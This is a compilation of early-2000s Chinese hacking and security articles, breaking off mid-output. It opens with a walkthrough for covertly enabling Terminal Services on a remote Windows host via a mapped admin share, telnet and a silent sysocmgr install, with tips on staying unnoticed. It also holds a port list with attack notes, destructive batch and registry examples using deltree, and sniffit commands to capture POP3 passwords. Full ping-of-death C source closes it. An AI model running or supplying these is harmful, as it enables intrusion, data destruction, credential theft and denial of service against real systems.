判断终端服务到底有没有安装?

你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊?
这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?
1.终端服务termservice在"管理工具">>>"服务"中被禁用.
2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接.
3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口(图文)
4.终端服务绑定的网络适配器不是外网的.
5.防火墙和端口过滤之类的问题.
6.....(还有我没想到的)
其实,我们遇到最多的情况就是以上5种情况.

现在开始判组件是否被安装.

先与远程主机连接,映射远程主机C盘为本地Z盘
net use z: \\192.168.0.1\c$ "7788" /user:"administrator"
命令成功完成。

然后转到Z盘,检查
Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>
里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件
如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)
我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实.

判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:
telnet登陆对方主机,准备安装服务组件.

在这里,我强烈建议使用2000自带的telnet服务端登陆,
有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)
就算没有开,打开用完后再关掉就完了.
.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,
而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实.

假如我们已开启对方23端口,
telnet 192.168.0.1
输入用户名/密码
*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>
\\成功进入!!!!

进入后,再次检查终端组件是否安装:
c:\>query user
这个工具需要安装终端服务.

这样就进一步确定了组件没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-12 22:5
\\类似这样的信息,可能组件就已安装.

好!都清楚了,可以开始安装了.
---------------------------------------------------
C:\>dir c:\sysoc.inf /s //检查INF文件的位置
c:\WINNT\inf 的目录

2000-01-10 20:00 3,770 sysoc.inf
1 个文件 3,770 字节
-----------------------------------------------------
C:\> dir c:\sysocmgr.* /s //检查组件安装程序
c:\WINNT\system32 的目录

2000-01-10 20:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
-----------------------------------------------------
c:\>echo [Components] > c:\wawa
c:\>echo TSEnable = on >> c:\wawa
//这是建立无人参与的安装参数
c:\>type c:\wawa
[Components]
TSEnable = on
//检查参数文件
------------------------------------------------------
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q
-----------------------------------------------------
这一条就是真正安装组件的命令.
以上这条命令没有加/R参数,主机在安装完后自动重起.
如若加了/R参数主机就不会重起.

如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,
3389终端服务就已经开启.你就可以连上去了.

问题和建议:

A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方
的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒.

B 一次不行可以再试一次,在实际中很有作用.

C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错，所以会有B的建议.


常见端口详解及部分攻击策略

0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口
连接它时将产生不同的结果。一种典型的扫描：使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。

1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。
Iris机器在发布时含有几个缺省的无密码的帐户，如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox,
和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。

7 Echo 你能看到许多人们搜索Fraggle放大器时，发送到x.x.x.0和x.x.x.255的信息。

常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个机器的UDP数据包，而两个机器分别以
它们最快的方式回应这些数据包。（参见Chargen）

另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”，它与DNS的这一端
口连接以确定最近的路由。

Harvest/squid cache将从3130端口发送UDP echo：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo
端口回应一个HIT reply。”这将会产生许多这类数据包。

11 sysstat 这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信
息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似

再说一遍：ICMP没有端口，ICMP port 11通常是ICMP type=11

19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时，会发送含有垃
圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企
图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这
个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。

21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers
利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。

22 ssh PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式，许多使用
RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）

还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程
序的人无意中扫描到。

UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632（十六进制的0x1600）位交换后是0x0016
（使进制的22）。

23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使
用其它技术，入侵者会找到密码。

25 smtp 攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭，他们需要拨号连接到高带宽
的e-mail服务器上，将简单的信息传递到不同的地址。SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为
它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。

53 DNS Hacker或crackers可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其它通讯。因此防火墙常常过滤或记录
53端口。

需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常
使用这种方法穿透防火墙。

67和68 Bootp和DHCP UDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的
数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的
“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。
这种回应使用广播是因为客户端还不知道可以发送的IP地址。

69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常错误配置而从系统
提供任何文件，如密码文件。它们也可用于向系统写入文件。

79 finger Hacker用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。

98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有
许多安全问题。一些版本setuid root，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。此
外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等）

109 POP2 并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个服务器上POP3的漏洞在POP2中同样
存在。

110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少
有20个（这意味着Hacker可以在真正登陆前进入系统）。成功登陆后还有其它缓冲区溢出错误。

111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。
常见RPC服务有：rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务
的特定端口测试漏洞。

记住一定要记录线路中的daemon, IDS, 或sniffer，你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。

113 Ident auth 这是一个许多机器上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息
（会被Hacker利用）。但是它可作为许多服务的记录器，尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通
过防火墙访问这些服务，你将会看到许多这个端口的连接请求。记住，如果你阻断这个端口客户端会感觉到在防火墙另一边与
e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST，着将回停止这一缓慢的连接。

119 NNTP news 新闻组传输协议，承载USENET通讯。当你链接到诸如：news://comp.security.firewalls/. 的地址
时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻
组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送spam。

135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111
端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时，它们查
询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如：这个机器上运行Exchange Server吗？
是什么版本？

这个端口除了被用来查询服务（如使用epdump）还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。

137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息，请仔细阅读文章后面的NetBIOS一节

139 NetBIOS
File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”
和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。

大量针对这一端口始于1999，后来逐渐变少。2000年又有回升。一些VBS（IE5 VisualBasic Scripting）开始将它们自己拷贝到
这个端口，试图在这个端口繁殖。

143 IMAP 和上面POP3的安全问题一样，许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住：一种Linux蠕虫（admw0rm）
会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP
后，这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。

这一端口还被用于IMAP2，但并不流行。

已有一些报道发现有些0到143端口的攻击源于脚本。

161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中，通过SNMP客获得
这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他
们可能会试验所有可能的组合。

SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。
HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名，你会看见这种包在子网内广播（cable modem, DSL）
查询sysName和其它信息。

162 SNMP trap 可能是由于错误配置

177 xdmcp 许多Hacker通过它访问X-Windows控制台， 它同时需要打开6000端口。

513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很
有趣的信息。

553 CORBA
IIOP (UDP) 如果你使用cable modem或DSL VLAN，你将会看到这个端口的广播。CORBA是一种面向对象的RPC（remote procedure
call）系统。Hacker会利用这些信息进入系统。

600 Pcserver backdoor 请查看1524端口

一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal.

635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的，但基于TCP的
mountd有所增加（mountd同时运行于两个端口）。记住，mountd可运行于任何端口（到底在哪个端口，需要在端口111做
portmap查询），只是Linux默认为635端口，就象NFS通常运行于2049端口。

1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络，它们请求操作系统为
它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配
端口1024。为了验证这一点，你可以重启机器，打开Telnet，再打开一个窗口运行“natstat -a”，你将会看到Telnet被分
配1024端口。请求的程序越多，动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍，当你浏览Web页时用“netstat”
查看，每个Web页需要一个新端口。

1025 参见1024

1026 参见1024

1080 SOCKS
这一协议以管道方式穿过防火墙，允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的
通信向外达到Internet。但是由于错误的配置，它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简
单地回应位于Internet上的计算机，从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙，常会发
生上述的错误配置。在加入IRC聊天室时常会看到这种情况。

1114 SQL
系统本身很少扫描这个端口，但常常是sscan脚本的一部分。

1243 Sub-7木马（TCP）
参见Subseven部分。

1524 ingreslock后门
许多攻击脚本将安装一个后门Shell于这个端口（尤其是那些针对Sun系统中Sendmail和RPC服务漏洞的脚本，如statd,
ttdbserver和cmsd）。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图，很可能是上述原因。你可以试试
Telnet到你的机器上的这个端口，看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。

2049 NFS
NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口，但是大部分情况是安装后NFS运行于
这个端口，Hacker/Cracker因而可以闭开portmapper直接测试这个端口。

3128 squid
这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看
到搜索其它代理服务器的端口：8000/8001/8080/8888。扫描这一端口的另一原因是：用户正在进入聊天室。其它用户
（或服务器本身）也会检验这个端口以确定用户的机器是否支持代理。请查看5.3节。

5632 pcAnywere
你会看到很多这个端口的扫描，这依赖于你所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能
得代理（译者：指agent而不是proxy）。Hacker/cracker也会寻找开放这种服务的机器，所以应该查看这种扫描的源地址。
一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。参见拨号扫描。

6776 Sub-7 artifact
这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器，而被控机器挂断
时你将会看到这种情况。因此当另一人以此IP拨入时，他们将会看到持续的，在这个端口的连接企图。（译者：即看到
防火墙报告这一端口的连接企图时，并不表示你已被Sub-7控制。）

6970 RealAudio
RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。

13223 PowWow
PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有“进攻性”。
它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如果你是一个拨号用户，从另一个聊天者手中
“继承”了IP地址这种情况就会发生：好象很多不同的人在测试这一端口。这一协议使用“OPNG”作为其连接企图的前四
个字节。

17027 Conducent
这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。Conducent "adbot"是为共享软件
显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验：阻断这一外向连接不会有任何问题，但是封掉IP
地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载：机器会不断试图解析DNS名—ads.conducent.com，
即IP地址216.33.210.40 ；216.33.199.77 ；216.33.199.80 ；216.33.199.81；216.33.210.41。（译者：不知NetAnts使
用的Radiate是否也有这种现象）

27374 Sub-7木马(TCP)
参见Subseven部分。

30100 NetSphere木马(TCP)
通常这一端口的扫描是为了寻找中了NetSphere木马。

31337 Back Orifice “elite”
Hacker中31337读做“elite”/ei’li:t/（译者：法语，译为中坚力量，精华。即3=E, 1=L, 7=T）。因此许多后门程序运
行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少，
其它的木马程序越来越流行。

31789 Hack-a-tack
这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马（RAT, Remote Access Trojan）。这种木马包含内置的31790
端口扫描器，因此任何31789端口到317890端口的连接意味着已经有这种入侵。（31789端口是控制连接，317890端口是文
件传输连接）

32770~32900 RPC服务
Sun Solaris的RPC服务在这一范围内。详细的说：早期版本的Solaris（2.5.1之前）将portmapper置于这一范围内，即使
低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围内的端口不是为了寻找portmapper，就是为了
寻找可被攻击的已知的RPC服务。

33434~33600 traceroute
如果你看到这一端口范围内的UDP数据包（且只在此范围之内）则可能是由于traceroute。参见traceroute部分。

41508 Inoculan
早期版本的Inoculan会在子网内产生大量的UDP通讯用于识别彼此


常见危险文件的防范方法

大家知道.bat是DOS批处理命令文件，我们可以用记事本编辑添加一些命令，运行它以后系统就会自动逐条执行命令。所以一些危险的命令就会被某些有心人写进批处理文件中去，在网上四处传播搞破坏，例如在hello.bat中写进：

    deltree -y c:\*.*

    接下来的事情就是你赶紧拿条手巾擦眼泪吧。从这个意义上说它比病毒还要恶毒。

    另外，注册表文件.reg也可以被编写进类似的代码，例如我们编辑一个hello.reg：

    REGEDIT4

    [HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\sell\open\command]@="command/c deltree"

    双击执行它导入注册表，我胆小没敢试，哪位胆子大请试试看，请告诉我答案，嘻嘻~~（注：千万不要去试，很危险的）。

    类似的，在.hlp（帮助文件）、.pif（指向DOS的快捷方式）、.lnk（WINDOWS快捷方式）这些文件中也可以写入危险的命令，如果不小心执行了那就危险了。防范以上调用DOS命令进行破坏的文件，被动的做法是通过将format、deltree这类命令改名换姓。

    HTML网页文件对大家来说再熟悉不过了，HTML本身没有危害的，但HTML有一个调用外部对象的脚本运行的功能，可以调用能够读写其它文件的外部对象，所以也就被居心不良者利用，把带有恶意有脚本嵌入HTML中，当你打开包含有这类脚本和ActiveX控件的网页时，HTML应用文件中的可执行程序就会自动运行，接下来就是……所以有时当IE提示“该页上某些软件可能不安全，建议不要运行”，最好不要点“确定”。

    但是像.VBS、.JS这类脚本文件病毒就更毒、更狠了，因为它们在破坏过程中几乎无声无息，运行它们时没有任何提示。去年风光一时“爱虫”属于此类病毒，最近大名鼎鼎的“HAPPY TIME”甚至只要用鼠标移动到它的邮件名上，IE的预览功能就可激活此病毒，好利害！象这样的文件还有.wsc、.wsf、vbe、jse，它们有一个共同点就是用 Wscript.exe来执行，也就是WINDOWS的“批处理”——Windows scripting host。

    防范此类病毒的方法就是将Windows scripting host卸载掉，具体方法是：我的电脑→控制面板→添加/删除程序→安装WINDOWS→附件→详细资料→Windows scripting host→确定。其实还有一种方法更简单，依次键入下面两段命令：regsvr32/u wshom.ocx回车、regsvr32/u wshext.dll回车，就可以把注册表中.wsh对象的注册值删掉。这样那些必须依靠对象运行的病毒就因为找不着对象而无法运行下去。

    另外，这些病毒基本都是利用Outlook来散播的，它们往往会自动往地址簿中的EMAIL地址发送以自已为附件的邮件。所以我们也可以把Outlook提供给外部脚本调用的接口对象给禁掉，具体作法是：regsvr32/u msoe.dll。如果要恢复使用，只要在以上的命令中去掉/u再运行一次即可。

    在此，建议您在浏览一些不熟悉的网站时最好把IE的安全级别设为高级，把ActiveX控件和插件关闭，将Active scripting屏蔽掉。方法是：运行IE→工具→Internet选项→安全→自定义级别，对所有ActiveX相关选项选“禁用”，对所有JS脚本也选择“禁用”选项。对于来历不明的邮件，特别是含有附件的邮件不要轻易打开，更不要执行附件里面的文件。

    安装网络防火墙也是非常必要的（特别是拔号上网用户），至少可以在你的电脑和网络之间筑起一道防线，防火墙软件推荐您用国产的“天网个人防火墙”，免费，占用系统资源也不多。再有，平时还要打开杀毒软件的实时监控以防止病毒感染和破坏；对于经常下载软件的下载狂（例如小弟我），每次下载完一定要用几种杀毒软件轮流查一遍，在确保无毒的情况，再用木马查杀软件如TheCleaner、木马克星等查上一遍，然后方可执行。最后，就是要及时更新这些软件的病毒库，否则，对新病毒、新木马的防御几乎等于零。


常用的Linux网络安全工具介绍

作者：吴阿亭
简介：

尽管各种版本的Linux distribution
附带了很多开放源的自由软件，但是仍然有大量的有用的工具没有被默认

包括在它们的安装光盘内，特别是有一些可以增强Linux网络安全的工具包，它们大多
也是开放源的自由软件。

这里简单地介绍一下几个增强Linux网络安全的工具。

1. sudo

sudo是系统管理员用来允许某些用户以root身份运行部分/全部系统命令的程序。一个
明显的用途是增强了站点
的安全性，如果你需要每天以root身份做一些日常工作，经常执行一些固定的几个只?br>衦oot身份才能执行的命令 ，那么用sudo对你是非常适合的。

sudo的主页在：http://www.courtesan.com/courtesan/products/sudo/

以Redhat 为例，下面介绍一下安装及设置过程：
首先，你能从sudo主页上下载for Redhat Linux的rpm package.
它在ftp://ftp.freshmeat.net/pub/rpms/sudo/
当前最新的稳定版本1.5.9p4。

执行#rpm -ivh sudo*
进行安装，然后用/usr/sbin/visudo编辑/etc/sudoers文件。
如果系统提示你找不到/usr/bin/vi但实际上你在目录/bin下有vi程序，你需要
ln -sf /bin/vi /usr/bin/vi为
vi 在/usr/bin下创建符号链接。（注：我在Redhat 6.1上遇到，Redhat
5.x上没有此问题）
另外，如果出现某些其它错误，你可能还需要#chmod 700 /var/run/sudo

下面是我的/etc/sudoers文件例子：
[root@sh-proxy /etc]# more sudoers
Host_Alias SERVER=sh-proxy

# User alias specification

User_Alias ADMIN=jephe,tome

# Cmnd alias specification

Cmnd_Alias SHUTDOWN=/etc/halt,/etc/shutdown,/etc/reboot

ADMIN SERVER=SHUTDOWN
jephe SERVER=/usr/bin/tail -f /var/log/maillog
jephe SERVER=/usr/bin/tail -f /var/log/messages

# User privilege specification
root ALL=(ALL) ALL
-----------

既然我经常需要远程登录到服务器观察email
log文件/var/log/maillog的变化，
因此我加了这一行到 /etc/sudoers，这样我不需要经常登录作为root来完成我
的日常工作，改善了安全性。

2. Sniffit
sniffit
是一个有名的网络端口探测器，你可以配置它在后台运行以检测哪些Tcp/ip
端口上用户的输入/输出信息。
最常用的功能是攻击者可以用它来检测你的23(telnet)和110(pop3)端口上的数据传送
以轻松得到你的登录口令和mail帐号密码，sniffit基本上是被破坏者所利用的工具，
但是既然想知道如何增强你的站点的安全性，首先你应该知晓闯入者们所使用的各种工具。

sniffit 的主页在 href="http://reptile.rug.ac.be/~coder/sniffit/sniffit.html"
target="_blank">http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
你能从那里下载最新的版本，安装是非常容易的,就在根目录运行#tar xvfz
sniff*
解开所有文件到对应目录。

你能运行sniffit
-i以交互式图形界面查看所有在指定网络接口上的输入/输出信息。

如：为了得到所有用户通过某接口a.b.c.d接收邮件时所输入的pop3帐号和密码，?br>隳茉诵?
#sniffit -p 110 -t a.b.c.d &
#sniffit -p 110 -s a.b.c.d &
记录文件放在目录/usr/doc/sniffit*下面：
log
file根据访问者的IP地址，随机高端端口号和用来检测的网络接口IP地址和检测
端口来命名。它利用了tcp/ip协议天生的虚弱性，因为普通的telnet和pop3所传的

用户名和密码信息都是明文，不带任何方式的加密。
因此对telnet/ftp.你可以用
ssh/scp来替代.
sniffit检测到的ssh/scp信息基本上是一堆乱码，因此你不需要
担心ssh所传送的用户名和口令信息会被第三方所窃取。

3. ttysnoop(s)
ttysnoop是一个重定向对一个终端号的所有输入/输出到另一个终端的程序。目前我
所知道的它的所在网站为
target="_blank">http://uscan.cjb.net,但是始终连不上去，从其它途径我得到
了ttysnoop-0.12c-5 ,
地址是http://rpmfind.net/linux/RPM/contrib/libc6/i386/ttysnoop-0.12c-5.i
386.html
这个版本好象还不能支持shadow
password,安装后你需要手动创建目录/var/spool/ttysnoop
测试这个程序是有趣的，下面是相关指令：

首先改/etc/inetd.conf中的in.telnetd默认调用login登录程序为/sbin/ttysnoops,
象下面这样：

[root@jephe /etc]# more inetd.conf | grep in.telnetd
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -L/sbin/ttysnoops

更改后一定要运行killall -HUP inetd使之生效
确保不要使用阴影口令，用#pwunconv禁止阴影口令。
再编辑文件/etc/snooptab
默认配置就可以了。

[root@jephe /etc]# more snooptab
ttyS1 /dev/tty7 login /bin/login
ttyS2 /dev/tty8 login /bin/login
* socket login /bin/login
------

最后，如果在某个终端上有人登录进来（你可以用w命令查看它在哪个终端），
如登录终端设备为ttyp0,则你可以登录进服务器打入#/bin/ttysnoop ttyp0
（提示输入root口令,再次,上面提到的这个版本不支持阴影口令）以监视用户的登录窗口。

4. nmap
nmap
是用来对一个比较大的网络进行端口扫描的工具，它能检测该服务器有哪些
tcp/ip端口目前正处于打开状态。你可以运行它来确保已经禁止掉不该打开的不安
全的
端口号。
nmap的主页在http://www.insecure.org/nmap/index.html

下面给出一个简单的例子：
[root@sh-proxy /etc]# /usr/local/bin/nmap public.sta.net.cn

Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, href="http://www.insecure.org/nmap/)"target="_blank">www.insecure.org/nmap/)
Interesting ports on public.sta.net.cn (202.96.199.97):
Port State Protocol Service
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
109 open tcp pop-2
110 open tcp pop-3
143 open tcp imap2
513 open tcp login
514 open tcp shell
7000 open tcp afs3-fileserver

Nmap run completed -- 1 IP address (1 host up) scanned in 15 seconds


常用的网络相关命令

来源/作者：Oliver

    一个端口就是一个潜在的通信通道，也就是一个入侵通道。对目标计算机进行端口扫描，能得到许多有用的信息。进行扫描的方法很多，可以是手工进行扫描，也可以用端口扫描软件进行。
    在手工进行扫描时，需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时，许多扫描器软件都有分析数据的功能。
    通过端口扫描，可以得到许多有用的信息，从而发现系统的安全漏洞。
    下面首先介绍几个常用网络命令，对端口扫描原理进行介绍，然后提供一个简单的扫描程序。第一节　几个常用网络相关命令
Ping命令经常用来对TCP/IP网络进行诊断。通过目标计算机发送一个数据包，让它将这个数据包反送回来，如果返回的数据包和发送的数据包一致，那就是说你的PING命令成功了。通过这样对返回的数据进行分析，就能判断计算机是否开着，或者这个数据包从发送到返回需要多少时间。

一。几个常用网络相关命令
1.Ping命令的基本格式：
ping hostname

    其中hostname是目标计算机的地址。Ping还有许多高级使用，下面就是一个例子。
C:> ping -f hostname
    这条命令给目标机器发送大量的数据，从而使目标计算机忙于回应。在Windows 95的计算机上，使用下面的方法：
c:\windows\ping -l 65510 saddam_hussein's.computer.mil
    这样做了之后，目标计算机有可能会挂起来，或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包，会使目标计算机反应不过来。
    在Linux计算机上，可以编写一个程序来实现上述方法。
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf
  - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}

2.Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径，比方说从你的计算机走到浙江信息超市。在DOS窗口下，命令如下：
C:\WINDOWS>tracert 202.96.102.4

Tracing route to 202.96.102.4 over a maximum of 30 hops

1 84 ms 82 ms 95 ms 202.96.101.57
2 100 ms 100 ms 95 ms 0fa1.1-rtr1-a-hz1.zj.CN.NET [202.96.101.33]
3 95 ms 90 ms 100 ms 202.101.165.1
4 90 ms 90 ms 90 ms 202.107.197.98
